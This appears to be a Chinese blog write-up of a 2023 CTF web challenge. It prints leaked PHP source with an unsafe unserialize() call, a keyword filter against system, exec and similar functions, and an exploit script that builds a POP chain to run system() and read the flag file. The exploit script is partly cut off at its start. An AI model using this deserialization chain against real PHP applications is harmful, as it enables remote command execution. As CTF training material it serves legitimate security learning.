• [羊城杯 2023] web


    文章目录


    D0n’t pl4y g4m3!!!

    打开题目,可以判断这里为php Development Server 启动的服务

    在这里插入图片描述查询得知,存在 PHP<=7.4.21 Development Server源码泄露漏洞(参考文章)
    抓包,构造payload
    在这里插入图片描述得到源码

    class Pro{
        private $exp;
        private $rce2;
    
        public function __get($name)
        {
            return $this->$rce2=$this->exp[$rce2];
        }
        public  function __toString()
        {
                call_user_func('system', "cat /flag");
         }
    }
    
    class Yang
    {
        public function __call($name, $ary)
        {
            if ($this->key === true || $this->finish1->name) {
                if ($this->finish->finish) {
                    call_user_func($this->now[$name], $ary[0]);
                }
            }
        }
        public function ycb()
        {
            $this->now = 0;
            return $this->finish->finish;
        }
        public function __wakeup()
        {
            $this->key = True;
        }
    }
    class Cheng
    {
        private $finish;
        public $name;
        public function __get($value)
        {
    
            return $this->$value = $this->name[$value];
        }
    }
    class Bei
    {
        public function __destruct()
        {
            if ($this->CTF->ycb()) {
                $this->fine->YCB1($this->rce, $this->rce1);
            }
        }
        public function __wakeup()
        {
            $this->key = false;
        }
    }
    
    function prohib($a){
        $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
        return preg_replace($filter,'',$a);
    }
    
    $a = $_POST["CTF"];
    if (isset($a)){
      unserialize(prohib($a));
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68

    还有提示./hint.zip,下载完解压,猜测是某种编码
    复制到谷歌,发现GitHub上面有解码工具
    在这里插入图片描述然后再回过头看
    pop链子:Bei.__destruct()->Yang.__call()
    exp

    key === true || $this->finish1->name) {
                if ($this->finish->finish) {
                    call_user_func($this->now[$name], $ary[0]);
                }
            }
        }
        public function ycb()
        {
            $this->now = 0;
            return $this->finish->finish;
        }
    }
    class Cheng  //two
    {
        private $finish;
        public $name;
        
    }
    class Bei  //four
    {
        public function __destruct()
        {
            if ($this->CTF->ycb()) {
                $this->fine->YCB1($this->rce, $this->rce1);
            }
        }
        public function __wakeup()
        {
            $this->key = false;
        }
    }
    
    $a=new Bei();
    $a->rce="cat /tmp/catcatf1ag.txt";
    $a->rce1="";
    $b=new Yang();
    $b->finish->finish=true;
    $a->CTF=$b;
    $c=new Yang();
    $c->key=true;
    $c->finish->finish=true;
    $c->now['YCB1']='system';
    $a->fine=$c;
    echo urlencode(serialize($a));
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56

    得到flag在这里插入图片描述

  • 相关阅读:
    MySQL之MHA高可用配置及故障切换
    【C++】C++11之右值引用
    ZZNUOJ_用C语言编写程序实现1156:又是排序(指针专题)(附完整源码)
    扩大减产,NAND Flash市场迎来涨价潮 | 百能云芯
    程序员基础能力系列
    QT--线程
    5分钟搞懂MySQL - 行转列
    初识ansible变量及实例配置
    toPlainString()
    【SQL Server + MySQL一】数据库基本知识、关系数据模型、关系数据语言--关系代数
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/132637560